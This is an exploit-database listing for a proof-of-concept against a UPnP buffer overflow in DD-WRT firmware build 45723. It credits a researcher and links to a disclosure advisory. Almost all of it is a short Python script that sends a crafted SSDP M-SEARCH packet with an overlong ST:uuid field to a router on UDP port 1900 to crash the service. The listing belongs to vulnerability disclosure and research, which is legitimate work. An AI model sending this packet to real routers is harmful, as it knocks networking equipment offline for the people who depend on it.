Ddwrt 45723 upnp buffer overflow (poc) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-03-31 | Type : dos | Platform : hardware

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[+] Code ...

# Exploit Title: DD-WRT 45723 - UPNP Buffer Overflow (PoC)
# Date: 24.03.2021
# Exploit Author: Selim Enes 'Enesdex' Karaduman
# Vendor Homepage: https://dd-wrt.com/
# Software Link: https://download1.dd-wrt.com/dd-wrtv2/downloads/betas/2021/
# Version: 45723 or prior
# Tested on: TP-Link Archer C7

# https://ssd-disclosure.com/ssd-advisory-dd-wrt-upnp-buffer-overflow/

import socket

target_ip = "192.168.2.1" # IP Address of Target
off = "D"*164
ret_addr = "AAAA"

payload = off + ret_addr

packet = \
'M-SEARCH * HTTP/1.1\r\n' \
'HOST:239.255.255.250:1900\r\n' \
'ST:uuid:'+payload+'\r\n' \
'MX:2\r\n' \
'MAN:"ssdp:discover"\r\n' \
'\r\n'

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
s.sendto(packet, (target_ip, 1900) )